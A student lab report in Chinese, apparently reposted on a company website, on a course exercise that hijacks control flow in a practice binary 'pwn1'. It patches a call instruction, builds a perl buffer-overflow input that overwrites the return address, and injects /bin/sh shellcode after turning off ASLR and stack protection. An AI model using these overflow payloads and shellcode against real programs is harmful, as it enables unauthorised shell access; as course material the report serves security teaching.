尧图网站建设 尧图网络
  • 首页
  • 关于我们
  • 服务项目
  • 案例展示
  • 建站流程
  • 资讯中心
  • 联系我们
首页/资讯中心/详情

20232306刘博2025-2026-1《网络与系统攻防技术》实验一实验报告

20232306刘博2025-2026-1《网络与系统攻防技术》实验一实验报告
📅 发布时间:2026/6/18 9:59:13

1.实验内容
通过修改可执行文件,改变程序执行流程,跳转到getShell函数。 利用foo函数的Bof漏洞,构造一个攻击输入字符串,覆盖返回地址,触发getShell函数。 注入一个自己制作的shellcode并运行这段shellcode。 2.实验过程
(一)直接修改程序机器指令,改变程序执行流程
登陆root,修改主机名为自己的学号。
图片 1
将可执行文件pwn1传输到虚拟机中并运行该文件。

图片 2

图片 3
输入objdump -d pwn1 | more找到getshell、foo、main函数
图片 4
此时可以看到main函数调用foo,对应机器指令为“ e8 d7ffffff“,我们需要修改可执行文件,将其中的call指令的目标地址由d7变为c3,使main函数调用getshell。
图片 5
输入指令cp pwn1 pwn2复制一个文件并输入vi pwn2进入到文件中。 输入%!xxd切换显示模式为16进制。 输入/e8 d7找到要修改的内容,将d7改为c3。
输入objdump -d pwn2| more查看修改结果并进行测试
图片 6

图片 7
如图可知修改成功并且getshell成功运行。
(二)通过构造输入参数,造成BOF攻击,改变程序执行流
对pwn1进行反编译
图片 8
可以通过-0x1c看到存在28字节的缓冲区,call调用foo,返回地址为80484ba,我们需要覆盖返回地址并替换为getshell的地址。
图片 9
使用gdb pwn1调试程序,输入1111111122222222333333334444444455555555。 输入info r确认输入字符串哪几个字符会覆盖到返回地址。
图片 10
可以看到1234 那四个数最终会覆盖到堆栈上的返回地址,因此只要把这四个字符替换为 getShell 的内存地址,输给pwn1,pwn1就会运行getShell。 
图片 11

图片 12
通过反编译可以看到getshell的返回地址为0804847d。 通过perl -e 'print "11111111222222223333333344444444\x7d\x84\x04\x08\x0a"' > input先生成包括这样字符串的一个文件。 输入xxd input查看input文件的内容是否如预期。 通过(cat input; cat) | ./pwn1将input的输入,通过管道符“|”,作为pwn1的输入。
图片 13
(三)注入Shellcode并执行
图片 14
execstack -s pwn1设置堆栈可执行 execstack -q pwn1查询文件的堆栈是否可执行 echo "0" > /proc/sys/kernel/randomize_va_space关闭地址随机化 more /proc/sys/kernel/randomize_va_space验证地址随机化是否关闭     
输入 perl -e 'print "\x90\x90\x90\x90\x90\x90\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\x90\x4\x3\x2\x1\x00"' > input_shellcode 输入(cat input_shellcode;cat) | ./pwn1将input_shellcode的输入内容作为pwn1的输入 打开新终端,输入ps -ef | grep pwn1查看进程
图片 15

图片 16
可以知道pwn1的进程是110585。
启用gdb调试程序,输入disassemble foo反编译foo函数并进行分析。 输入break *0x080484ae设置断点。 在另一个终端输入命令c并在次终端按一下回车。 输入info r esp查看栈顶指针所在位置,当前ESP值为0xffffcfbc。
图片 1
使用\xf0\xcf\xff\xff替换原占位符 \x01\x02\x03\x04,构造要注入的字符串:perl -e 'print "A" x 32;print "\xf0\xcf\xff\xff\x90\x90\x90\x90\x90\x90\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\x00\x0a"' > input_shellcode 输入(cat input_shellcode; cat) | ./pwn1,执行ls命令  
图片 2
3.问题及解决方案
问题一:下载不了execstack 解决方案:
反正目的是查询栈堆,在实在无法下载的情况下,我选择直接查询
图片 3
问题二:在进行启用gdb调试程序,输入disassemble foo反编译foo函数并进行分析时,总是找不到01020304最后发现是在两个终端输入回车和c的顺序出现错误。
4.学习感悟
本次的实验对我来说有一定的难度,虽然实验指导书较为详细,但是在环境配置方面有很多可能只有少数人存在的问题被我遇见,所以我广泛查询博客园和AI,最终成功完成实验。

相关新闻

  • 软件工程学习日志2025.10.10
  • 记录---图文并茂讲解nginx中http升级https(部署SSL证书)知识点总结
  • 控制自然语言生成中的模型幻觉技术

最新新闻

  • 生成式AI实操手记:从GAN、VAE到扩散模型的可复现训练指南
  • 江苏地区消防证培训综合实力排行及核心指标解析 - 起跑123
  • Cecropin A ;KWKLFKKIEKVGQNIRDGIIKAGPAVAVVGQATQIAK-NH₂
  • Citra 3DS模拟器终极画质优化指南:如何在普通电脑上获得最佳视觉体验
  • 2026 福州包包回收避坑指南!7 家正规门店盘点,闲置奢侈品变现首选添价收 - 薛定谔的梨花猫
  • 潮州防水补漏哪家好?2026 专业防水修缮 TOP3 排名解析,精准检测暗管漏水,厨卫、楼顶、阳台、飘窗外墙渗漏、瓷砖空鼓修补全套维修测评 - 泛家庭维修

日新闻

  • 2026年不锈钢卷板厂家推荐排行榜:冷轧热轧/304/201不锈钢卷板,高颜值耐腐蚀源头厂家实力精选 - 企业推荐官【官方】
  • FLUX.1-dev FP8模型实战指南:24GB以下显卡高效部署方案
  • 2026佛山长途搬家价目表:跨省跨市搬家费用完整计算指南 - 从来都是英雄出少年

周新闻

  • 3步解锁iOS设备:applera1n激活锁绕过完全指南
  • 39 2026 人工智能证书终极盘点,普通人选 AI 证书可以从这些方向入手
  • Redis 暴露公网有多危险?从端口检查到补救步骤

月新闻

  • 【总结】入门篇:50句话让你记住架构核心概念
  • WeChatMsg技术方案解析:实现Mac微信数据自主管理的完整解决方案
  • WeChatMsg:革新性微信数据备份方案,打造你的专属数字记忆库

关于尧图

  • 公司简介
  • 团队介绍
  • 企业文化
  • 荣誉资质

服务项目

  • 定制开发
  • 电商建站
  • UI 设计
  • 运维服务

快速链接

  • 案例展示
  • 建站流程
  • 常见问题
  • 资讯中心

联系方式

  • 📍北京市朝阳区互联网产业园 A 座 10 层
  • 📞400-888-8888
  • ✉️contact@rkmt.cn
  • 🕐周一至周日 9:00-21:00

© 2024 北京尧图网络科技有限公司 版权所有 | 京 ICP 备 XXXXXXXX 号